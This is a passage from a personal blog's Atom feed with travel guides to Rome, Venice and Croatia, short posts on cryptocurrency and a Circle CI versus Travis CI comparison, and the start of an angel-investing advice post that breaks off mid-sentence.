    <img loading="lazy" src="IMG_20190411_101203_resized-1024x512.jpg"
         alt="A monochrome image showcases an intricate abstract pattern resembling interconnected organic shapes or forms, with high contrast between the light and dark sections." width="900"/> </a>
</figure>

<figure>
    
    <a href="IMG_20190411_132251_resized-512x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20190411_132251_resized-512x1024.jpg"
         alt="A digital collage featuring a decorative border frames textured blocks, script-like patterns, and abstract earthy tones, with complex, intricate details throughout." width="900"/> </a>
</figure>

<p>Next door is one of the three churches which lays claims to having St. Valentine&rsquo;s skull, free to visit.</p>
<figure>
    
    <a href="IMG_20190410_130556_resized-512x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20190410_130556_resized-512x1024.jpg"
         alt="St. Valentine&#39;s relic - A decorative skull with a halo of artificial roses is on display, at the church of San Valentino in Oratorio." width="900"/> </a>
</figure>

<p>There is the &quot;   
    
    
<a href="https://www.atlasobscura.com/places/the-mouth-of-truth-rome-italy?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Mouth of Truth</a>&quot; there as well.</p>
<figure>
    
    <a href="IMG_20190410_130303_01_resized-1024x512.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20190410_130303_01_resized-1024x512.jpg"
         alt="A detailed mural features various vibrant abstract patterns, swirls, and shapes in multiple colors, including text reading &#39;Mouth of Truth&#39; highlighting elements of artistic expression." width="900"/> </a>
</figure>

<p>Now head to &ldquo;Pyramid of Caius Cestius&rdquo;. The only pyramid of Rome.
The best views are from the outside, so don&rsquo;t bother going inside.</p>
<figure>
    
    <a href="tmp1_resized-710x1024.jpeg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="tmp1_resized-710x1024.jpeg"
         alt="Rome&#39;s only Pyramid, a white pyramid structure stands prominently against a clear blue sky" width="900"/> </a>
</figure>

<h3 id="day-3---vatican-and-trastevere">Day 3 - Vatican and Trastevere</h3>
<p>If you are interested in the Catholic religion, reserve a full day for this and go to Sistine Chapel as well.
But for others, a visit to the Basilica of St. Peter, the first Pope for the Catholics.
A few hours are sufficient here.</p>
<figure>
    
    <a href="IMG_20190410_145548_resized-1024x512.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20190410_145548_resized-1024x512.jpg"
         alt="A stylized QR code resembling a mandala with intricate, symmetrical patterns, interwoven lines, and a high level of detail, designed for aesthetic appeal and utility." width="900"/> </a>
</figure>

<figure>
    
    <a href="IMG_20190410_153438_resized-512x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20190410_153438_resized-512x1024.jpg"
         alt="A heavily scrambled and noisy image with indistinct shapes and colors." width="900"/> </a>
</figure>

<p>Then head to Trastevere, an area famous for its ton of traditional shops and eateries. Try vegan Cibatta here.</p>
<figure>
    
    <a href="IMG_20190410_142025_resized-512x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20190410_142025_resized-512x1024.jpg"
         alt="A loaf of vegan ciabatta bread" width="900"/> </a>
</figure>

<p>From here, head to   
    
    
<a href="https://archaeology-travel.com/italy/capuchin-crypt-rome/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Capuchin Crypt</a>, which consists of various structures made out of human bones.</p>
<figure>
    
    <a href="IMG_20190410_184258_resized-512x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20190410_184258_resized-512x1024.jpg"
         alt="A bone archway, constructed with human remains, forms part of a historical crypt in Italy. The structured bones are intricately arranged, showcasing a unique and macabre craftsmanship." width="900"/> </a>
</figure>

]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/europe" term="europe" label="europe"/><category scheme="https://ashishb.net/tag/italy" term="italy" label="italy"/><category scheme="https://ashishb.net/tag/rome" term="rome" label="rome"/></entry><entry><title type="html">Programmable Money and value capture</title><link href="https://ashishb.net/tech/programmable-money-and-value-capture/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/tech/cryptocurrency-trading/?utm_source=atom_feed" rel="related" type="text/html" title="Cryptocurrency trading"/><link href="https://ashishb.net/tech/play-to-earn-games/?utm_source=atom_feed" rel="related" type="text/html" title="Play-to-earn games"/><link href="https://ashishb.net/tech/the-key-problem-in-cryptocurrency/?utm_source=atom_feed" rel="related" type="text/html" title='The "key" problem in cryptocurrency'/><link href="https://ashishb.net/security/nillion/?utm_source=atom_feed" rel="related" type="text/html" title="Nillion"/><link href="https://ashishb.net/tech/angel-investing-for-software-engineers/?utm_source=atom_feed" rel="related" type="text/html" title="Angel investing for Software Engineers"/><id>https://ashishb.net/tech/programmable-money-and-value-capture/</id><author><name>Ashish Bhatia</name></author><published>2019-10-12T16:00:53+00:00</published><updated>2019-10-12T16:00:53+00:00</updated><content type="html"><![CDATA[<blockquote>Discover the roles of money and how cryptocurrencies like Bitcoin and Ethereum battle to become the ultimate medium of exchange in the blockchain arena.</blockquote><p>Money serves three purpose - unit of accounting, a medium of exchange, and a store of value. Cryptocurrencies have been compared to   
    
    
<a href="https://medium.com/@ElectricCapital/programmable-money-79e16dc7bfca?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Programmable Money</a>. Anything programmable requires an experimentation platform for iterations and improvement. Bitcoin seems to have won the &ldquo;store of value&rdquo; battle. Ethereum has the developer mindshare and is the preferred experimentation platform. Multiple cryptocurrencies are still fighting the battle to be the medium of exchange.</p>
<figure>
    
    <a href="chart.png" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="chart.png"
         alt="A chart visually represents the market share of different cryptocurrencies" width="900"/> </a>
</figure>

<p>The amusing part is that every cryptocurrency startup envies Ethereum&rsquo;s developer ecosystem and is trying to attract developers. But there isn&rsquo;t any real value capture being the experimentation platform. A successful product has a high chance of leaving Ethereum and migrating users to its chain. The real battle, I believe, remains in becoming the medium of exchange, being the programmable Visa &amp; Mastercard equivalent.</p>
]]></content><category scheme="https://ashishb.net/category/tech-thoughts" term="tech-thoughts" label="tech-thoughts"/><category scheme="https://ashishb.net/tag/cryptocurrencies" term="cryptocurrencies" label="cryptocurrencies"/></entry><entry><title type="html">A day in Venice, Italy</title><link href="https://ashishb.net/travel/venice-italy/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/rome-italy/?utm_source=atom_feed" rel="related" type="text/html" title="Three days in Rome, Italy"/><link href="https://ashishb.net/travel/madrid-spain/?utm_source=atom_feed" rel="related" type="text/html" title="Two days in Madrid, Spain"/><link href="https://ashishb.net/travel/croatia/?utm_source=atom_feed" rel="related" type="text/html" title="Croatia in Four Days"/><link href="https://ashishb.net/travel/budapest-hungary/?utm_source=atom_feed" rel="related" type="text/html" title="Two days in Budapest, Hungary"/><link href="https://ashishb.net/travel/austria/vienna/?utm_source=atom_feed" rel="related" type="text/html" title="Two days in Vienna"/><id>https://ashishb.net/travel/venice-italy/</id><author><name>Ashish Bhatia</name></author><published>2019-10-02T07:28:50+00:00</published><updated>2019-10-02T07:28:50+00:00</updated><content type="html"><![CDATA[<blockquote>Ultimate travel guide for Venice, Italy. Things to do, places to visit, and tips for a day in Venice.</blockquote><p>Compared to 
<a href="/travel/prague-czech-republic/">Prague</a>, 
<a href="/travel/rome-italy/">Rome</a>, 
<a href="/travel/austria/vienna/">Vienna</a>, and 
<a href="/travel/croatia/">Split</a>,
Venice is a tourist trap. The city is made up of a collection of 100+ islands.
Bridges connect most of them, and you can walk throughout the city.
All the public transport is using water buses called   
    
    
<a href="https://en.wikipedia.org/wiki/Vaporetto?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Vaporetto</a>.
A single trip costs 8 Euros.
If you are planning to use Vaporetto, buy a 24-hour pass worth 20 Euro which covers unlimited trips on Vaporetto.</p>
<figure>
    
    <a href="IMG_20190408_171107_resized-512x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20190408_171107_resized-512x1024.jpg"
         alt="A public ferry, known as a Vaporetto, sails through Venice" width="900"/> </a>
</figure>

<p>Start your day with a walking tour which will give you a good understanding of the history of the city.
After the walking tour, visit St. Marks&rsquo;s Basilica and the square next to it.
St. Marks is the patron saint of Venice. There is no entrance fee for the basilica;
there is a fee for its treasury and the top floor though.</p>
<figure>
    
    <a href="IMG_20190407_191501_resized-1024x512.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20190407_191501_resized-1024x512.jpg"
         alt="A square filled with numerous flying pigeons in a public area where people can feed them by hand, with notable architecture visible in the background, such as a basilica." width="900"/> </a>
</figure>

<p>The pigeons on the square love eating food from one&rsquo;s hands. So, carry something small like chips to feed them.</p>
<figure>
    
    <a href="IMG_20190408_173559_resized-512x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20190408_173559_resized-512x1024.jpg"
         alt="A solitary pigeon perching on a concrete surface in an urban park or square, surrounded by greenery and people in the distance." width="900"/> </a>
</figure>

<p>Then head to the Leonardo Da Vinci Museum. It is less of a museum and more of an interactive science exhibition of his work.
I still loved it and would recommend it for science fans.</p>
<figure>
    
    <a href="IMG_20190408_164921_resized-1024x512.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20190408_164921_resized-1024x512.jpg"
         alt="Da Vinci Museum" width="900"/> </a>
</figure>

<p>Next to it is the Ponte dei Pugni bridge where traditional annual fistfights used to happen.</p>
<figure>
    
    <a href="IMG_20190408_180937_resized-1024x512.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20190408_180937_resized-1024x512.jpg"
         alt="A bridge arches across a canal lined with buildings in Venice, Italy. This location is linked to the cultural history of annual fistfights." width="900"/> </a>
</figure>

<p>Head to Rialto Bridge afterward, the most prominent bridge in Venice.</p>
<figure>
    
    <a href="IMG_20190408_143952_resized-1024x512.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20190408_143952_resized-1024x512.jpg"
         alt="A busy street scene in Venice, with people walking and some boats visible on the water beside the sidewalk. The background includes distinctive Venetian architecture featuring arched windows and decorative details." width="900"/> </a>
</figure>

<p>From there, check out the &ldquo;Libreria Acqua Alta&rdquo;.</p>
<figure>
    
    <a href="IMG_20190408_193926_resized-512x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20190408_193926_resized-512x1024.jpg"
         alt="A colorful, abstract digital artwork featuring layers of intricate patterns and geometric shapes in various vibrant colors." width="900"/> </a>
</figure>

<p>If you like, use Vaporetto to head to Murano for glass blowing demonstrations. I skipped it.</p>
]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/europe" term="europe" label="europe"/><category scheme="https://ashishb.net/tag/italy" term="italy" label="italy"/><category scheme="https://ashishb.net/tag/venice" term="venice" label="venice"/></entry><entry><title type="html">Circle CI vs Travis CI</title><link href="https://ashishb.net/programming/circle-ci-vs-travis-ci/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/android-fragment-related-pitfalls-and-how-to-avoid-them/?utm_source=atom_feed" rel="related" type="text/html" title="Android: Fragment related pitfalls and how to avoid them"/><link href="https://ashishb.net/programming/android-handling-jpeg-images-with-exif-orientation-flags/?utm_source=atom_feed" rel="related" type="text/html" title="Android: Handling JPEG images with Exif orientation flags"/><link href="https://ashishb.net/programming/troublshooting-android-emulator-emulator-process-finished-with-exit-code-1/?utm_source=atom_feed" rel="related" type="text/html" title="Troubleshooting Android Emulator: Process finished with exit code 1"/><link href="https://ashishb.net/programming/cross-language-bridge-error-handling-js-to-java-example/?utm_source=atom_feed" rel="related" type="text/html" title="Cross-language bridge error handling: JS-to-Java Example"/><link href="https://ashishb.net/programming/testing-resumable-uploads/?utm_source=atom_feed" rel="related" type="text/html" title="Testing resumable uploads"/><id>https://ashishb.net/programming/circle-ci-vs-travis-ci/</id><author><name>Ashish Bhatia</name></author><published>2019-09-01T16:00:22+00:00</published><updated>2019-09-01T16:00:22+00:00</updated><content type="html"><![CDATA[<blockquote>Explore the benefits of Circle CI over Travis CI for Android app testing. Learn about usability, speed, and pricing to optimize your continuous integration setup.</blockquote><h3 id="update-as-of-mar-2022-i-recommend-everyone-to-use-github-actions">Update: As of Mar 2022, I recommend everyone to use 
<a href="/tech/common-pitfalls-of-github-actions/">GitHub Actions</a></h3>
<p>I maintain a somewhat popular Android developer tool (   
    
    
<a href="https://github.com/ashishb/adb-enhanced/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">adb-enhanced</a>). The tool is written in Python, supporting both Python 2 and 3. Testing the tool requires both Python runtime as well a running Android emulator. I, initially, used Travis CI for setting up continuous testing of this tool. Later, I felt that Travis CI was too slow and when I came across Circle CI, I decided to give it a try. As of now, both Travis and Circle CI are used for testing. Here is what I learned from my experience.</p>
<h3 id="usability">Usability</h3>
<p>Circle CI configuration files are much cleaner and powerful. Circle CI&rsquo;s build UI is also much cleaner. Some concepts like build steps make Circle CI&rsquo;s build files much more maintainable over the longer run.</p>
<p>Result: Circle CI wins</p>
<h3 id="speed">Speed</h3>
<p>Circle CI does better caching and it has a lot of custom docker images. For example, Circle CI has support for a later version of Android system images. Travis CI does not seem to have the caching support as the first-class citizen. Therefore, my tests always run faster on Circle CI.</p>
<p>Result: Circle CI wins</p>
<h3 id="pricing">Pricing</h3>
<p>Travis CI is free for open-source repositories. Circle CI gives 1500 minutes (25 hours) testing every month per account and is agnostic of whether the repositories are public or private. Travis CI gives 100 free private builds over the lifetime.</p>
<p>Result: Use Circle CI for private repositories. Use Travis CI for public repositories.</p>
<p>My scripts:</p>
<ol>
<li>  
    
    
<a href="https://github.com/ashishb/adb-enhanced/blob/46d55128f932df1dac32e54fd445e8610b0f561a/.travis.yml?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Travis CI script</a></li>
<li>  
    
    
<a href="https://github.com/ashishb/adb-enhanced/blob/66fabf0dba38ac8e83e12c6a1bc257071611b3b4/.circleci/config.yml?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Circle CI script</a></li>
</ol>
]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/tag/android" term="android" label="android"/><category scheme="https://ashishb.net/tag/android-development" term="android-development" label="android-development"/><category scheme="https://ashishb.net/tag/devops" term="devops" label="devops"/></entry><entry><title type="html">Croatia in Four Days</title><link href="https://ashishb.net/travel/croatia/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/madrid-spain/?utm_source=atom_feed" rel="related" type="text/html" title="Two days in Madrid, Spain"/><link href="https://ashishb.net/travel/rome-italy/?utm_source=atom_feed" rel="related" type="text/html" title="Three days in Rome, Italy"/><link href="https://ashishb.net/travel/venice-italy/?utm_source=atom_feed" rel="related" type="text/html" title="A day in Venice, Italy"/><link href="https://ashishb.net/travel/budapest-hungary/?utm_source=atom_feed" rel="related" type="text/html" title="Two days in Budapest, Hungary"/><link href="https://ashishb.net/travel/austria/vienna/?utm_source=atom_feed" rel="related" type="text/html" title="Two days in Vienna"/><id>https://ashishb.net/travel/croatia/</id><author><name>Ashish Bhatia</name></author><published>2019-09-01T08:17:16+00:00</published><updated>2019-09-01T08:17:16+00:00</updated><content type="html"><![CDATA[<blockquote>Explore Croatia&rsquo;s captivating medieval cities and stunning natural landscapes. Visit iconic filming locations, enjoy local cuisine, and experience Adriatic charm.</blockquote><p>Croatia is a   
    
    
<a href="https://en.wikipedia.org/wiki/Balkans?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Balkan</a> country south of Austria. It&rsquo;s a small country of 4 million inhabitants and cities with medieval architecture. Games of Thrones was shot here.</p>
<h3 id="basics">Basics</h3>
<ol>
<li>The currency is Croatian Kuna (HRK), which is about 1/7th of a US Dollar.</li>
<li>One can use a Schengen visa to enter Croatia.</li>
<li>Public toilets are expensive. Almost all restaurants provide free access.</li>
<li>Tap water is drinkable.</li>
<li>Public transports between cities and even to the islands are pretty good. Use   
    
    
<a href="https://www.azk.hr/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">www.azk.hr</a> for finding and booking local buses.</li>
<li>Most people speak English in tourist cities.</li>
</ol>
<h3 id="useful-phrases">Useful phrases</h3>
<p>The language seems to be harder than the 
<a href="/linguistics/german-pronunciations-for-hindi-speakers/">German language</a></p>
<ol>
<li>Thanks - Hvala</li>
<li>Hello - Zdravo</li>
</ol>
<h3 id="where-to-spend-time">Where to spend time</h3>
<p>There are four major medieval-styled cities in Croatia; Zagreb, Zadar, Split, and Dubrovnik. The last one is famous for the Game of Thrones. All except Zagreb are on the coast, known as the   
    
    
<a href="https://en.wikipedia.org/wiki/Dalmatia?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Dalmatian coast</a>. Apart from these, there are several islands of which   
    
    
<a href="https://www.hvarinfo.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Hvar</a> is the most famous. There are two famous national parks -   
    
    
<a href="https://np-plitvicka-jezera.hr/en/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Plitvice</a> and   
    
    
<a href="https://www.np-krka.hr/en/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Krka</a>. If you are on a long trip, do all of them, but if you have time constraints, I would recommend choosing either</p>
<ol>
<li>Zagreb - Plitvice - Split or,</li>
<li>Split - Krka - Dubrovnik</li>
</ol>
<p>One can call (1) or (2) a half-split journey, and the combined one is a full-split journey.</p>
<h3 id="day-1---zagreb">Day 1 - Zagreb</h3>
<p>I spent a day in Zagreb, starting with   
    
    
<a href="https://freespirittours.eu/free-walking-tour-zagreb/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Free Spirit&rsquo;s walking tour</a>, which gave me a good idea of the history and culture of the city. A good tour guide would not forget to mention to you that Nikola Tesla, a Serbian, grew up in Croatia and that ties were invented in Croatia.</p>
<figure>
    
    <a href="IMG_20190403_112029_resized-1024x512.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20190403_112029_resized-1024x512.jpg"
         alt="A black and white depiction of a seated stone lion on a modest stone pedestal with a weathered surface, set outdoors." width="900"/> </a>
</figure>

<p>Afterward, I had Strukli, a local lacto-vegetarian dish, which I would recommend if you like cheese.</p>
<figure>
    
    <a href="IMG_20190403_134617_resized-1024x512.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20190403_134617_resized-1024x512.jpg"
         alt="Dining table with a colorful tablecloth featuring dishes, cutlery, and a partially visible person holding a spoon while a glass holds a bright-orange beverage." width="900"/> </a>
</figure>

<p>Then I spent the day checking out the upper town, which gives a good view of the city, Cathedral from the inside (it&rsquo;s free unlike in 
<a href="/travel/austria/vienna/">Vienna</a> and 
<a href="/travel/budapest-hungary/">Budapest</a>). Every day at noon, a cannon is fired, in memory of the cannonball, which landed on the Ottoman Pasha&rsquo;s plate, and he decided not to   
    
    
<a href="https://www.inyourpocket.com/zagreb/the-lotrscak-tower-and-gric-cannon_4044v?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">attack</a>. While I wanted to check out the Museum of Torture, it was closed for the day. I checked the horseshoe parks, they are underwhelming, and I won&rsquo;t recommend them.</p>
<h3 id="day-2---plitvice-lakes">Day 2 - Plitvice Lakes</h3>
<p>I took an early morning, 5:45 AM   
    
    
<a href="https://www.azk.hr/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">local bus</a> from Zagreb to Plitvice, it reaches 8 AM before the hoards of tourists arrive.
The park is mesmerizingly beautiful. The entry fee is 100 Kuna. There is a standard luggage storage room available for free; the security is non-existent since they hand you the key to use the room. There are several trails inside the parks. I did the longest 18 km one. However, I would recommend a shorter 8 km since it covers all the scenic sections of the longest trail and substitutes boring ones with boat and bus rides. Then, I took a 4:30 PM Flixbus from Plitvice to Split for the onward journey.</p>
<figure>
    
    <a href="IMG_20190404_084158_resized-1024x512.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20190404_084158_resized-1024x512.jpg"
         alt="Plitvice Lakes" width="900"/> </a>
</figure>

<figure>
    
    <a href="IMG_20190404_150022_resized-1024x512.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20190404_150022_resized-1024x512.jpg"
         alt="A picturesque view of Split&#39;s cityscape, showcasing historical Roman-era architecture and ancient structures, with a focus on the urban landscape and surrounding scenery." width="900"/> </a>
</figure>

<h3 id="day-3---split">Day 3 - Split</h3>
<p>Split is a city built out of a remnant of a Roman-era castle with pre-Christianity temples converted to Cathedrals. It&rsquo;s a charming city. While it will be expensive, I would recommend taking a hotel/hostel inside the castle boundaries. Free walking tours are illegal in the city! I would recommend doing the tour on your own, as suggested   
    
    
<a href="https://www.split-walking-tour.net/free?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">here</a>.</p>
<figure>
    
    <a href="IMG_20190405_153818_resized-1024x512.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20190405_153818_resized-1024x512.jpg"
         alt="View of historical architecture of Split" width="900"/> </a>
</figure>

<figure>
    
    <a href="IMG_20190405_135818_resized-1024x512.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20190405_135818_resized-1024x512.jpg"
         alt="Split" width="900"/> </a>
</figure>

<h3 id="day-4---6-islands-tour">Day 4 - 6 islands tour</h3>
<p>I did the famous   
    
    
<a href="https://www.charter-providenca.com/boat-excursions/blue-cave-hvar-5-islands-tour/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">6-islands tour</a>, which covers the island Blue cave, Seal monk cave, Green cave, and Stiniva beach, and finally stops at the island of Hvar for lunch. I would highly recommend this tour for the Green cave and the Blue cave. The blue cave is sometimes closed due to bad weather, which was the case when I did the tour. If you are short on time, this tour is a great way to explore Hvar for a few hours.</p>
<figure>
    
    <a href="IMG_20190406_094335_resized-1024x512.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20190406_094335_resized-1024x512.jpg"
         alt="6-islands tour" width="900"/> </a>
</figure>

<figure>
    
    <a href="IMG_20190406_112026_resized-1024x512.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20190406_112026_resized-1024x512.jpg"
         alt="A scenic coastal landscape with vibrant turquoise water, a rugged cliff side, and lush greenery under a clear blue sky, ideal for exploring the natural beauty of Hvar." width="900"/> </a>
</figure>

<figure>
    
    <a href="IMG_20190406_121347_resized-512x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20190406_121347_resized-512x1024.jpg"
         alt="6-island tour" width="900"/> </a>
</figure>

<figure>
    
    <a href="IMG_20190406_140738_resized-1024x512.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_20190406_140738_resized-1024x512.jpg"
         alt="6-island tour" width="900"/> </a>
</figure>

]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/croatia" term="croatia" label="croatia"/><category scheme="https://ashishb.net/tag/balkans" term="balkans" label="balkans"/><category scheme="https://ashishb.net/tag/europe" term="europe" label="europe"/></entry><entry><title type="html">Angel investing for Software Engineers</title><link href="https://ashishb.net/tech/angel-investing-for-software-engineers/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/tech/programmable-money-and-value-capture/?utm_source=atom_feed" rel="related" type="text/html" title="Programmable Money and value capture"/><link href="https://ashishb.net/tech/tech-job-after-mba/?utm_source=atom_feed" rel="related" type="text/html" title="A short guide for MBAs looking for a job in the tech world"/><link href="https://ashishb.net/tech/cryptocurrency-trading/?utm_source=atom_feed" rel="related" type="text/html" title="Cryptocurrency trading"/><link href="https://ashishb.net/tech/this-website-was-compromised/?utm_source=atom_feed" rel="related" type="text/html" title="This website was compromised"/><link href="https://ashishb.net/tech/closeum-closed-source-in-disguise/?utm_source=atom_feed" rel="related" type="text/html" title="Closeum - closed-source in disguise"/><id>https://ashishb.net/tech/angel-investing-for-software-engineers/</id><author><name>Ashish Bhatia</name></author><published>2019-08-03T06:17:08+00:00</published><updated>2019-08-03T06:17:08+00:00</updated><content type="html"><![CDATA[<blockquote>Discover the art of angel investing as a software engineer. Learn crucial tips on starting, choosing investments, and understanding deal flow while maximizing returns.</blockquote><p>Software Engineers peak early in their career and especially in places in the San Francisco Bay area, New York, and Seattle attain   
    
    
<a href="https://www.investor.gov/additional-resources/news-alerts/alerts-bulletins/updated-investor-bulletin-accredited-investors?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">accredited investor</a> status early on in their career. Hearing stories of   
    
    
<a href="https://www.futuresquared.xyz/podcast/episode-181-100k-to-100m-with-jason-calacanis?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Jason Calacanis</a> and   
    
    
<a href="https://www.forbes.com/sites/alexkonrad/2015/03/25/how-venture-cowboy-chris-sacca-made-billions/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Chris Sacca</a>, many consider trying their hands-on angel investing in startups.</p>
<p>If you are considering it, here are my few suggestions for that.</p>
<h2 id="should-you-do-it">Should you do it</h2>
<p>Angel investing, just like many other exotic ventures such as buying arts and vintage coins, is optional. It is much more 
<a href="/finance/finance-101-table-of-contents/">safe</a> to make money by investing in publicly listed companies. So, don&rsquo;t do it for money. Find a better   
    
    
<a href="https://observer.com/2015/08/why-i-stopped-angel-investing-and-you-should-never-start/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">reason</a> to do it. For me, the opportunity to connect with other entrepreneurs makes it worthwhile.</p>
<h2 id="how-much-to-invest">How much to invest</h2>
<p>Don&rsquo;t invest more than 5-10% of your net worth. Most angel investments fail; it is best to diversify. In the early stages, don&rsquo;t invest substantial check sizes (50K-100K) in a single startup.</p>
<h2 id="how-to-start">How to start</h2>
<p>Get your feet wet via   
    
    
<a href="https://angel.co/syndicates?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Angellist Syndicates</a>. You can invest a small amount and gain confidence. These investment opportunities come without the information rights, so, you learn a little less than what you get when investing directly.</p>
<p>Once you are confident, watch more pitches either at   
    
    
<a href="https://battle.startup.network/events/394903/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">local</a>   
    
    
<a href="https://www.pitchglobally.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">pitching</a> events or online pitching events like   
    
    
<a href="https://startx.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Stanford&rsquo;s StartX</a> and   
    
    
<a href="https://alchemistaccelerator.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Alchemist Accelerator</a> Demo day.</p>
<p>Whether you are looking at companies on AngelList or the pitching events, the quality will vary a lot. More often than not, you will say no, but occasionally, you will come across a gem to invest in.</p>
<h2 id="dealflow">Dealflow</h2>
<p>Good deal flow is crucial. Either you will have to scout a lot of good deals, or you need to be   
    
    
<a href="https://www.forbes.com/sites/alexkonrad/2019/06/20/the-slack-public-listings-surprise-winners-other-startup-ceos?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">friends</a> with people who are going to make it big. Also, try to have some VC friends, so that, you know what not in trend. Here&rsquo;s the hard reality, almost every angel investment of yours will need VC money at some point. If most VCs are going to reject the opportunity outright, for example, because it is located in unacceptable geography or is in a crowded space, then that startup is almost bound to die.</p>
<p>In the case of a hot oversubscribed deal, you will have to convince a founder to take money from you. And that&rsquo;s where you have to answer what value-add do you bring beyond the capital. Put some thought to prepare that. Here&rsquo;s mine - &ldquo;I can help you with thinking around engineering as well as product. My background ranging from backend engineering at big companies to mobile development for emerging markets to blockchain gives me a unique engineering + product perspective. You can see my writings at 
<a href="/category/tech-thoughts/">/category/tech-thoughts/</a> and my prior investments at   
    
    
<a href="https://angel.co/ashishb?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">https://angel.co/ashishb</a>&rdquo;.</p>
<h2 id="learn-to-say-no">Learn to say no</h2>
<p>You will be saying no most of the time. Say that fast and move on. Don&rsquo;t waste your time or the founder&rsquo;s time.</p>
<h2 id="dont-give-up-on-pro-rata">Don&rsquo;t give up on pro-rata</h2>
<p>Angel investing is way riskier than late-stage investing. And if you end up investing in a gem, you don&rsquo;t want to miss out maintaining your   
    
    
